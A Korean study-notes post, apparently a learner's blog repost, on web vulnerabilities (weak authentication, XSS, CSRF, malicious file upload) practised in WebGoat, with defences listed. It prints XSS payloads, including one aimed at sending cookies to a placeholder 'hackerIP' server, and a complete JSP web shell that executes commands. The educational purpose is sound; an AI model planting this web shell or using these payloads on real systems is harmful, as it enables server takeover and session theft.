[3-3]웹 어플리케이션 취약점 이해 및 대응
03. 취약한 인증
- 사용자 인증 정책이 취약한 경우
- 쿠키/세션 관련 정보가 잘못 사용될 경우 취약점 발생
- HTTP
- 응답과 요청으로 이루어지는 비연결성(응답 요청 받으면 끝)
- 서버와 클라이언트의 상태를 따로 저장하지 않는 무상태성
- 위의 두가지 문제로 인해 그럼 페이지 이동때마다 로그인 다시해야되냐? => 쿠키의 개발
- Cookie
- 클라이언트 로컬에 저장되는 키와 값이 들어있는 작은 데이터 파일
- 이름, 값, 만료날짜(쿠키 저장기간), 경로정보등이 저장되어 있음
- 오늘날에는 자동로그인(최근에는 사용안함), 오늘 더 이상 이 창을 보지않음 등에 사용됨
- 클라이언트 로컬에 저장되는 키와 값이 들어있는 작은 데이터 파일
- Session
- Session ID만 클라이언트 로컬에 저장, 다른 자료는 서버에 저장
- 세션은 서버의 자원 사용, 쿠키에 담겨져서 오긴함
- 브라우저를 종료하면 클라이언트에서 세션ID만 삭제됨, 일정시간되면 삭제
- 로그아웃시 서버와 클라이언트 모두 삭제
Cookie & Session 취약점 실습
-
Spoof an Authentication Cookie
-
webgoat에서 실습진행, 로그인하면 쿠키를 받아오면 생기는것
-
application - cookie
-
Cross Site Scripting(XSS)
-
Cross Site Scripting
-
웹 페이지에 악의적인 스크립트를 포함시켜 사용자 측에서 실행되게 유도하는 공격
-
검증되지 않은 외부 입력이 동적 웹페이지 생성에 사용될 경우, 전송된 동적 웹페이지를 열람하는 접속자의 권한으로 부적절한 스크립트가 수행되어 정보유출등의 공격을 유발
-
클라이언트에서 쿠키등을 공격자에게 보냄
-
<script>alert('XSS')</script>
-
Stored XSS
- Title에 cookie로 적고, message에
<script>alert(document.cookie)</script>
라고 입력하고 application- cookie에 HttpOnly 선택된것을 풀어주면(js가 아닌 http에서만 실행되도록 하는 기능) alert로 쿠키값을 볼 수 있음- 참고: Secure옵션은 https에서만 사용되는것임
<script>http://hackerIP/cookie.jsp?cookie=alert(document.cookie)</script>
- 이렇게 해커가 만든 IP의 웹서버로 쿠키값을 전송할 수도 있음
- Title에 cookie로 적고, message에
-
Reflective XSS
- 이렇게 test라는 문구를 찾는 뒤에 url에다가 추가해서 reflective xss공격을 실행할 수 있지만 요즘 웹브라우저는 이것을 차단하고 있다.
-
Cross Site Request Forgery(CSRF) - 요청변조
-
Cross Site Request Forgery
- 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금등)를 하게 만드는 공격
- 클라이언트에서 웹서버로 요청을 함, 공격자에게 보내지는 않음
-
CSRF 방지
- XSS방지법과 똑같이
<script>
같은 것을 모두 text로 받으면 방지할 수 있음 - CSRF 토큰으로 검사함
- XSS방지법과 똑같이
파일 업로드 취약점
-
Malicious File Execution
-
서버측(Backend)에서 실행될 수 있는 스크립트 파일(asp, jsp, php등)을 업로드 가능하고 이 파일을 공격자가 웹을 통해 직접 실행시킬 수 있는 경우, 시스템 내부 명령어를 실행하거나 외부와 연결하여 시스템을 제어할 수 있음
-
webshell.jsp 파일을 인터넷에서 간단하게 가져옴
<HTML> <% String cmd = request.getParameter("cmd");//cmd를 받아와서 if(cmd != null) Runtime.getRuntime().exec(cmd);//실행하라 %> <form> <input type="text" name="cmd"> <input type="submit"> </form> </HTML>
-
이 파일을 업로드를 해주고, 오른쪽 마우스키 - 주소 가져오기를 해서 실행하면 해당 웹셸을 실행할 수 있음.
-
이후
cmd.exe /c mkdir C:\Users\. . . .
해서 디렉토리를 만들고cmd.exe /c echo "test" > C:\Users\. . . \guest.txt
를 해서 새로 만들어서 txt파일을 넣을 수 있음
-
-
Malicious FIle Execution 방지 방법
- 허용된 확장자
- png, jpg 등의 이미지 업로드만 가능하게 한다
- 이미지 업로드 경로를 알 수 없게함
- 파일이름을 새롭게 암호화한 뒤 DB서버와 실제저장된 문구가 똑같은지 확인함
- 폴더의 실행권한을 막음
- 허용된 확장자
Author And Source
이 문제에 관하여([3-3]웹 어플리케이션 취약점 이해 및 대응), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@gs0351/3-2웹-어플리케이션-취약점-이해-및-대응-jb14sucd저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)